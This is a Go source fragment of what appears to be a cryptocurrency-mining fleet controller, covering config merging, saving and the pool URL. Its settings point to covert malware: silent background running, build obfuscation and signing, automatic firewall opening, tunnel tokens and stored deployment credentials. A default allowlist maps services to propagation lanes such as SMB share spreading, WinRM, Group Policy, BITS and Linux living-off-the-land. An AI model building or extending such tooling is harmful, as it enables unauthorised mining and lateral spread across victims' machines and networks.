if in(bgKeys, "silent_mode") {
dst.Background.SilentMode = src.Background.SilentMode
}
if in(bgKeys, "run_as") && src.Background.RunAs != "" {
dst.Background.RunAs = src.Background.RunAs
}
if in(bgKeys, "auto_start") {
dst.Background.AutoStart = src.Background.AutoStart
}
}
if has("alerts") {
alertKeys := nestedJSONKeys(present, "alerts")
if in(alertKeys, "offline_threshold_minutes") && src.Alerts.OfflineThresholdMinutes != 0 {
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
}
if in(alertKeys, "hashrate_drop_threshold_pct") && src.Alerts.HashrateDropThresholdPct != 0 {
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
}
if in(alertKeys, "rejection_rate_threshold_pct") && src.Alerts.RejectionRateThresholdPct != 0 {
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
}
if in(alertKeys, "telegram_bot_token") && src.Alerts.TelegramBotToken != "" {
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
}
if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
}
if in(alertKeys, "webhook_url") && src.Alerts.WebhookURL != "" {
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
}
if in(alertKeys, "email_enabled") {
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
}
if in(alertKeys, "notify_agent_connect") {
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
}
if in(alertKeys, "notify_agent_reconnect") {
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
}
if in(alertKeys, "notify_agent_offline") {
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
}
if in(alertKeys, "notify_hashrate_drop") {
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
}
if in(alertKeys, "notify_rejection_rate") {
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
}
if in(alertKeys, "notify_build_complete") {
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
}
if in(alertKeys, "notify_kev_exposure") {
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
}
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}
if in(alertKeys, "smtp_port") && src.Alerts.SMTPPort != 0 {
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
}
if in(alertKeys, "smtp_user") && src.Alerts.SMTPUser != "" {
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
}
if in(alertKeys, "smtp_password") && src.Alerts.SMTPPassword != "" {
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
}
if in(alertKeys, "email_to") && src.Alerts.EmailTo != "" {
dst.Alerts.EmailTo = src.Alerts.EmailTo
}
if in(alertKeys, "email_from") && src.Alerts.EmailFrom != "" {
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
}
}
if has("server") {
srvKeys := nestedJSONKeys(present, "server")
if in(srvKeys, "public_url") {
dst.Server.PublicURL = src.Server.PublicURL
}
if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 {
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
}
if in(srvKeys, "build_retention_days") && src.Server.BuildRetentionDays != 0 {
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
}
if in(srvKeys, "pool_reconnect_seconds") && src.Server.PoolReconnectSeconds != 0 {
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
}
if in(srvKeys, "websocket_ping_seconds") && src.Server.WebSocketPingSeconds != 0 {
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
}
if in(srvKeys, "max_agents") && src.Server.MaxAgents != 0 {
dst.Server.MaxAgents = src.Server.MaxAgents
}
if in(srvKeys, "max_build_size_mb") && src.Server.MaxBuildSizeMB != 0 {
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
}
if in(srvKeys, "log_agent_connections") {
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
}
if in(srvKeys, "log_share_submissions") {
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
}
if in(srvKeys, "log_pool_traffic") {
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
}
if in(srvKeys, "strict_wallet_validation") {
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
}
if in(srvKeys, "open_firewall_on_start") {
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
}
if in(srvKeys, "obfuscate_default") {
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
}
if in(srvKeys, "sign_enabled") {
dst.Server.SignEnabled = src.Server.SignEnabled
}
if in(srvKeys, "dashboard_subtitle") && src.Server.DashboardSubtitle != "" {
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
}
if in(srvKeys, "sign_cert_thumbprint") && src.Server.SignCertThumbprint != "" {
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
}
if in(srvKeys, "sign_tool_path") && src.Server.SignToolPath != "" {
dst.Server.SignToolPath = src.Server.SignToolPath
}
if in(srvKeys, "sign_timestamp_url") && src.Server.SignTimestampURL != "" {
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
}
if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
dst.Server.FleetSecret = src.Server.FleetSecret
}
if in(srvKeys, "public_builds_enabled") {
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
}
if in(srvKeys, "public_builds_latest_n") && src.Server.PublicBuildsLatestN != 0 {
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
}
if in(srvKeys, "adaptive_strategy_enabled") {
dst.Server.AdaptiveStrategyEnabled = src.Server.AdaptiveStrategyEnabled
}
if in(srvKeys, "ai_control_enabled") {
dst.Server.AIControlEnabled = src.Server.AIControlEnabled
}
if in(srvKeys, "ai_endpoint") {
dst.Server.AIEndpoint = src.Server.AIEndpoint
}
if in(srvKeys, "ai_local_endpoint") && src.Server.AIEndpoint != "" {
dst.Server.AIEndpoint = src.Server.AIEndpoint
}
if in(srvKeys, "ai_model") {
dst.Server.AIModel = src.Server.AIModel
}
if in(srvKeys, "ai_no_context") {
dst.Server.AINoContext = src.Server.AINoContext
}
if in(srvKeys, "ai_decision_interval_sec") && src.Server.AIDecisionIntervalSec > 0 {
dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec
}
if in(srvKeys, "ai_interval_sec") && src.Server.AIDecisionIntervalSec > 0 {
dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec
}
if in(srvKeys, "ai_auto_elevate_clearance") {
dst.Server.AIAutoElevateClearance = src.Server.AIAutoElevateClearance
}
if in(srvKeys, "ai_persona") && strings.TrimSpace(src.Server.AIPersona) != "" {
dst.Server.AIPersona = strings.TrimSpace(src.Server.AIPersona)
}
}
if has("tunnel_defaults") {
tdKeys := nestedJSONKeys(present, "tunnel_defaults")
if in(tdKeys, "cloudflared_target_url") {
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
}
if in(tdKeys, "cloudflare_tunnel_token") {
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
}
}
if has("deployment_credentials") {
dst.DeploymentCredentials = append([]DeploymentCredProfile(nil), src.DeploymentCredentials...)
for i := range dst.DeploymentCredentials {
EnsureCredProfileID(&dst.DeploymentCredentials[i])
if strings.TrimSpace(dst.DeploymentCredentials[i].VaultRef) == "" {
dst.DeploymentCredentials[i].VaultRef = defaultVaultRef(dst.DeploymentCredentials[i].ID)
}
}
}
// Keep cloudflared default aligned with public_url when unset.
if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" {
dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL)
}
}
func hydrateLegacyAIConfig(cfg *Config, raw []byte) {
if cfg == nil || len(raw) == 0 {
return
}
var root map[string]json.RawMessage
if err := json.Unmarshal(raw, &root); err != nil {
return
}
srvRaw, ok := root["server"]
if !ok {
return
}
var srv map[string]json.RawMessage
if err := json.Unmarshal(srvRaw, &srv); err != nil {
return
}
if ep, ok := srv["ai_local_endpoint"]; ok && cfg.Server.AIEndpoint == "" {
var s string
if json.Unmarshal(ep, &s) == nil && strings.TrimSpace(s) != "" {
cfg.Server.AIEndpoint = strings.TrimSpace(s)
}
}
if iv, ok := srv["ai_interval_sec"]; ok && cfg.Server.AIDecisionIntervalSec == 0 {
var n int
if json.Unmarshal(iv, &n) == nil && n > 0 {
cfg.Server.AIDecisionIntervalSec = n
}
}
}
func (c *Config) Save() error {
configPath := filepath.Join(c.DataDir, "config.json")
data, err := json.MarshalIndent(c, "", " ")
if err != nil {
return fmt.Errorf("failed to marshal config: %w", err)
}
if err := os.WriteFile(configPath, data, 0644); err != nil {
return err
}
c.syncCloudflaredTokenFile()
return nil
}
func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
return map[string]ServiceDeployLane{
"DoSvc": {Lane: "do_peer", Priority: 35},
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
"dns_txt": {Lane: "dns_txt", Priority: 33},
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"CcmExec": {Lane: "bits_curl", Priority: 10},
"BITS": {Lane: "bits_curl", Priority: 8},
"com.docker.service": {Lane: "docker_load", Priority: 20},
"Docker Desktop Service": {Lane: "docker_load", Priority: 20},
"WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"},
"gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"},
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
}
}
func (c *Config) PoolURL() string {
proto := "stratum+tcp"
if c.Pool.UseTLS {
proto = "stratum+ssl"
}
return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port)
}